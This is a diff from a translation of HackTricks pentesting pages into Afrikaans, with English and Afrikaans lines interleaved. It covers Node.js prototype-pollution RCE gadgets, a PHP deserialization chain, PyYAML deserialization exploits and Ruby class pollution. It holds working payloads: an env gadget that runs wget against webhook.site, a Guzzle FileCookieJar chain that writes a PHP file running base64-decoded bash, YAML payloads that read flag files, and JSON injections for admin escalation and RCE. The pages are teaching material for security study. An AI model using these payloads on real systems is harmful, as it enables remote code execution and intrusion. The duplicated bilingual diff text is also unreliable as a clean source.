USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
@ -619,25 +584,21 @@ clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("/path/to/anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 2
#### Relatiewe vereiste - 2
{{#tabs}}
{{#tab name="exploit"}}
{{#tab name="ontgin"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -656,7 +617,7 @@ var proc = require("./relative_path.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
@ -664,57 +625,52 @@ clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("/path/to/anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 3
Similar to the previous one, this was found in [**this writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
#### Relatiewe vereiste - 3
Soos die vorige, is dit gevind in [**hierdie skrywe**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
```
## VM Gadgets
In the paper [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) is also indicated that the control of **`contextExtensions`** from some methods of the **`vm`** library could be used as a gadget.\
However, as the previous **`child_process`** methods, it has been **fixed** in the latest versions.
In die papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) word ook aangedui dat die beheer van **`contextExtensions`** van sommige metodes van die **`vm`** biblioteek as 'n gadget gebruik kan word.\
Echter, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
## Fixes & Unexpected protections
Please, note that prototype pollution works if the **attribute** of an object that is being accessed is **undefined**. If in the **code** that **attribute** is **set** a **value** you **won't be able to overwrite it**.
Let asseblief daarop dat prototype besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie.
In Jun 2022 from [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) the var `options` instead of a `{}` is a **`kEmptyObject`**. Which **prevents a prototype pollution** from affecting the **attributes** of **`options`** to obtain RCE.\
At least from v18.4.0 this protection has been **implemented,** and therefore the `spawn` and `spawnSync` **exploits** affecting the methods **no longer work** (if no `options` are used!).
In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Wat **voorkom dat 'n prototype besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\
Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **uitbuitings** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!).
In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject`** instead of **`{}`.**
In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototype besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.**
### **Other Gadgets**

View File

@ -1,71 +1,64 @@
# PHP - Deserialization + Autoload Classes
# PHP - Deserialisering + Laai Klasse
{{#include ../../banners/hacktricks-training.md}}
First, you should check what are [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
Eerstens, jy moet kyk wat is [**Laai Klasse**](https://www.php.net/manual/en/language.oop5.autoload.php).
## PHP deserialization + spl_autoload_register + LFI/Gadget
## PHP deserialisering + spl_autoload_register + LFI/Gadget
We are in a situation where we found a **PHP deserialization in a webapp** with **no** library vulnerable to gadgets inside **`phpggc`**. However, in the same container there was a **different composer webapp with vulnerable libraries**. Therefore, the goal was to **load the composer loader of the other webapp** and abuse it to **load a gadget that will exploit that library with a gadget** from the webapp vulnerable to deserialization.
Ons is in 'n situasie waar ons 'n **PHP deserialisering in 'n webapp** gevind het met **geen** biblioteek wat kwesbaar is vir gadgets binne **`phpggc`** nie. Tog, in dieselfde houer was daar 'n **ander komponis webapp met kwesbare biblioteke**. Daarom was die doel om die **komponislaaier van die ander webapp** te **laai** en dit te misbruik om 'n **gadget te laai wat daardie biblioteek met 'n gadget** van die webapp wat kwesbaar is vir deserialisering, sal ontgin.
Steps:
- You have found a **deserialization** and there **isnt any gadget** in the current app code
- You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension**
- For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("\_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`**
Stappe:
- Jy het 'n **deserialisering** gevind en daar **is geen gadget** in die huidige app kode nie
- Jy kan 'n **`spl_autoload_register`** funksie soos die volgende misbruik om **enige plaaslike lêer met `.php` uitbreiding** te **laai**
- Hiervoor gebruik jy 'n deserialisering waar die naam van die klas binne **`$name`** gaan wees. Jy **kan nie "/" of "."** in 'n klasnaam in 'n geserialiseerde objek gebruik nie, maar die **kode** vervang die **onderstreepte** ("\_") **met skewe strepies** ("/"). So 'n klasnaam soos `tmp_passwd` sal omgeskakel word na `/tmp/passwd.php` en die kode sal probeer om dit te laai.\
'n **Gadget voorbeeld** sal wees: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
> [!TIP]
> If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE.
> As jy 'n **lêer op te laai** het en 'n lêer met **`.php`-uitbreiding** kan oplaai, kan jy **hierdie funksionaliteit direk misbruik** en reeds RCE kry.
In my case, I didnt have anything like that, but there was inside the **same container** another composer web page with a **library vulnerable to a `phpggc` gadget**.
- To load this other library, first you need to **load the composer loader of that other web app** (because the one of the current application wont access the libraries of the other one.) **Knowing the path of the application**, you can achieve this very easily with: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my case, the composer loader was in `/www/frontend/vendor/autoload.php`)
- Now, you can **load** the others **app composer loader**, so its time to **`generate the phpgcc`** **payload** to use. In my case, I used **`Guzzle/FW1`**, which allowed me to **write any file inside the filesystem**.
- NOTE: The **generated gadget was not working**, in order for it to work I **modified** that payload **`chain.php`** of phpggc and set **all the attribute**s of the classes **from private to public**. If not, after deserializing the string, the attributes of the created objects didnt have any values.
- Now we have the way to **load the others app composer loader** and have a **phpggc payload that works**, but we need to **do this in the SAME REQUEST for the loader to be loaded when the gadget is used**. For that, I sent a serialized array with both objects like:
- You can see **first the loader being loaded and then the payload**
In my geval, het ek niks soos dit gehad nie, maar daar was binne die **dieselfde houer** 'n ander komponis webblad met 'n **biblioteek wat kwesbaar is vir 'n `phpggc` gadget**.
- Om hierdie ander biblioteek te laai, moet jy eers die **komponislaaier van daardie ander webtoepassing laai** (want die een van die huidige toepassing sal nie toegang hê tot die biblioteke van die ander nie). **Deur die pad van die toepassing te ken**, kan jy dit baie maklik bereik met: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my geval was die komponislaaier in `/www/frontend/vendor/autoload.php`)
- Nou kan jy die **ander app komponislaaier laai**, so dit is tyd om die **`phpgcc`** **payload** te **genereer** om te gebruik. In my geval het ek **`Guzzle/FW1`** gebruik, wat my toegelaat het om **enige lêer binne die lêerstelsel te skryf**.
- LET WEL: Die **gegenereerde gadget het nie gewerk nie**, om dit te laat werk het ek daardie payload **`chain.php`** van phpggc **gewysig** en **alle eienskappe** van die klasse **van privaat na publiek** gestel. As dit nie gedoen word nie, het die eienskappe van die geskepte objek na deserialisering van die string geen waardes gehad nie.
- Nou het ons die manier om die **ander app komponislaaier te laai** en 'n **phpggc payload wat werk**, maar ons moet dit **in dieselfde versoek doen sodat die laaier gelaai kan word wanneer die gadget gebruik word**. Hiervoor het ek 'n geserialiseerde array met albei objekten gestuur soos:
- Jy kan **eers die laaier sien wat gelaai word en dan die payload**
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- Now, we can **create and write a file**, however, the user **couldnt write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:&#x20;
- Nou kan ons **'n lêer skep en skryf**, egter, die gebruiker **kon nie in enige gids binne die webbediener skryf nie**. Soos jy in die payload kan sien, word PHP **`system`** met 'n paar **base64** geskep in **`/tmp/a.php`**. Dan kan ons **die eerste tipe payload hergebruik** wat ons gebruik het as LFI om die komponislaaier van die ander webapp **te laai die gegenereerde `/tmp/a.php`** lêer. Voeg dit net by die deserialisering gadget:&#x20;
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**Samevatting van die payload**
**Summary of the payload**
- **Laai die composer autoload** van 'n ander webapp in dieselfde houer
- **Laai 'n phpggc gadget** om 'n biblioteek van die ander webapp te misbruik (die aanvanklike webapp wat kwesbaar was vir deserialisering het nie enige gadget in sy biblioteke gehad nie)
- Die gadget sal **'n lêer met 'n PHP payload** daarop in /tmp/a.php met kwaadwillige opdragte skep (die webapp gebruiker kan nie in enige gids van enige webapp skryf nie)
- Die finale deel van ons payload sal **die gegenereerde php lêer laai** wat opdragte sal uitvoer
- **Load the composer autoload** of a different webapp in the same container
- **Load a phpggc gadget** to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didnt have any gadget on its libraries)
- The gadget will **create a file with a PHP payload** on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp)
- The final part of our payload will use **load the generated php file** that will execute commands
I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
Ek moes **hierdie deserialisering twee keer aanroep**. In my toetse is die eerste keer die `/tmp/a.php` lêer geskep maar nie gelaai nie, en die tweede keer is dit korrek gelaai.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# Python Yaml Deserialization
# Python Yaml Deserialisering
{{#include ../../banners/hacktricks-training.md}}
## Yaml **Deserialization**
**Yaml** python libraries is also capable to **serialize python objects** and not just raw data:
## Yaml **Deserialisering**
**Yaml** python biblioteke is ook in staat om **python voorwerpe** te **serialiseer** en nie net ruwe data nie:
```
print(yaml.dump(str("lol")))
lol
@ -23,13 +22,11 @@ print(yaml.dump(range(1,10)))
- 10
- 1
```
Check how the **tuple** isnt a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).
Kontroleer hoe die **tuple** nie 'n rou tipe data is nie en daarom is dit **geserialiseer**. En dieselfde het met die **range** gebeur (geneem uit die builtins).
![](<../../images/image (1040).png>)
**safe_load()** or **safe_load_all()** uses SafeLoader and **dont support class object deserialization**. Class object deserialization example:
**safe_load()** of **safe_load_all()** gebruik SafeLoader en **ondersteun nie klas objek deserialisering** nie. Klas objek deserialisering voorbeeld:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -48,13 +45,11 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Die vorige kode het **unsafe_load** gebruik om die geserialiseerde python klas te laai. Dit is omdat in **weergawe >= 5.1**, dit nie toelaat om **enige geserialiseerde python klas of klasattribuut** te **deserialiseer** nie, met Loader wat nie gespesifiseer is in load() of Loader=SafeLoader.
The previous code used **unsafe_load** to load the serialized python class. This is because in **version >= 5.1**, it doesnt allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader.
### Basic Exploit
Example on how to **execute a sleep**:
### Basiese Exploit
Voorbeeld van hoe om **'n slaap uit te voer**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -69,48 +64,42 @@ print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Kwetsbare .load("\<content>") sonder Loader
### Vulnerable .load("\<content>") without Loader
**Old versions** of pyyaml were vulnerable to deserialisations attacks if you **didn't specify the Loader** when loading something: `yaml.load(data)`
You can find the [**description of the vulnerability here**](https://hackmd.io/@defund/HJZajCVlP)**.** The proposed **exploit** in that page is:
**Ou weergawes** van pyyaml was kwesbaar vir deserialisasie-aanvalle as jy **nie die Loader gespesifiseer het** wanneer jy iets laai nie: `yaml.load(data)`
Jy kan die [**beskrywing van die kwesbaarheid hier vind**](https://hackmd.io/@defund/HJZajCVlP)**.** Die voorgestelde **ontploffing** op daardie bladsy is:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Or you could also use this **one-liner provided by @ishaack**:
Of jy kan ook hierdie **een-liner verskaf deur @ishaack** gebruik:
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
}
```
Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack.
Let wel dat jy in **onlangs weergawes** nie meer **`.load()`** kan **aanroep sonder 'n `Loader`** nie en die **`FullLoader`** is **nie meer kwesbaar** vir hierdie aanval nie.
## RCE
Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
Pasgemaakte payloads kan geskep word met behulp van Python YAML modules soos **PyYAML** of **ruamel.yaml**. Hierdie payloads kan kwesbaarhede in stelsels benut wat onbetroubare invoer deserialiseer sonder behoorlike sanitasie.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
@ -122,11 +111,9 @@ print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Gereedskap om Payloads te skep
### Tool to create Payloads
The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**
Die gereedskap [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) kan gebruik word om python deserialisering payloads te genereer om **Pickle, PyYAML, jsonpickle en ruamel.yaml** te misbruik:
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
@ -145,14 +132,12 @@ gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSF
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
- cat
- /root/flag.txt
```
### References
### Verwysings
- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
This is a summary from the post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
Dit is 'n opsomming van die pos [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
## Merge on Attributes
Example:
## Merge op Attribuut
Voorbeeld:
```ruby
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
@ -17,167 +16,163 @@ require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
private
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
protected
def check_cpu
puts "CPU check passed."
end
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
### Verduideliking
### Explanation
1. **Privilegie Eskalasie**: Die `authorize` metode kyk of `to_s` "Admin" teruggee. Deur 'n nuwe `to_s` attribuut deur JSON in te voeg, kan 'n aanvaller die `to_s` metode laat teruggee "Admin," wat ongeoorloofde privilegies toeken.
2. **Afgeleë Kode Uitvoering**: In `health_check`, voer `instance_eval` metodes uit wat in `protected_methods` gelys is. As 'n aanvaller pasgemaakte metodename (soos `"puts 1"`) invoeg, sal `instance_eval` dit uitvoer, wat lei tot **afgeleë kode uitvoering (RCE)**.
1. Dit is slegs moontlik omdat daar 'n **kwetsbare `eval` instruksie** is wat die stringwaarde van daardie attribuut uitvoer.
3. **Impak Beperking**: Hierdie kwesbaarheid raak slegs individuele instansies, wat ander instansies van `User` en `Admin` onaangeraak laat, en beperk dus die omvang van die uitbuiting.
1. **Privilege Escalation**: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges.
2. **Remote Code Execution**: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to **remote code execution (RCE)**.
1. This is only possible because there is a **vulnerable `eval` instruction** executing the string value of that attribute.
3. **Impact Limitation**: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation.
### Regte-Wêreld Gevalle <a href="#real-world-cases" id="real-world-cases"></a>
### Real-World Cases <a href="#real-world-cases" id="real-world-cases"></a>
### ActiveSupports `deep_merge`
This isn't vulnerable by default but can be made vulnerable with something like:&#x20;
### ActiveSupport se `deep_merge`
Dit is nie standaard kwesbaar nie, maar kan kwesbaar gemaak word met iets soos:&#x20;
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
self
end
```
### Hashie se `deep_merge`
### Hashies `deep_merge`
Hashie se `deep_merge` metode werk direk op objekattributen eerder as op gewone hashes. Dit **verhoed die vervanging van metodes** met attributen in 'n samesmelting met sommige **uitsonderings**: attributen wat eindig met `_`, `!`, of `?` kan steeds in die objek gesmelt word.
Hashies `deep_merge` method operates directly on object attributes rather than plain hashes. It **prevents replacement of methods** with attributes in a merge with some **exceptions**: attributes that end with `_`, `!`, or `?` can still be merged into the object.
Some special case is the attribute **`_`** on its own. Just `_` is an attribute that usually returns a `Mash` object. And because it's part of the **exceptions**, it's possible to modify it.
Check the following example how passing `{"_": "Admin"}` one is able to bypass `_.to_s == "Admin"`:
'n Spesiale geval is die attribuut **`_`** op sy eie. Net `_` is 'n attribuut wat gewoonlik 'n `Mash` objek teruggee. En omdat dit deel is van die **uitsonderings**, is dit moontlik om dit te verander.
Kyk na die volgende voorbeeld hoe om `{"_": "Admin"}` te stuur, kan mens `_.to_s == "Admin"` omseil:
```ruby
require 'json'
require 'hashie'
@ -185,77 +180,75 @@ require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
## Besmet die Klasse <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
In the following example it's possible to find the class **`Person`**, and the the clases **`Admin`** and **`Regular`** which inherits from the **`Person`** class. It also has another class called **`KeySigner`**:
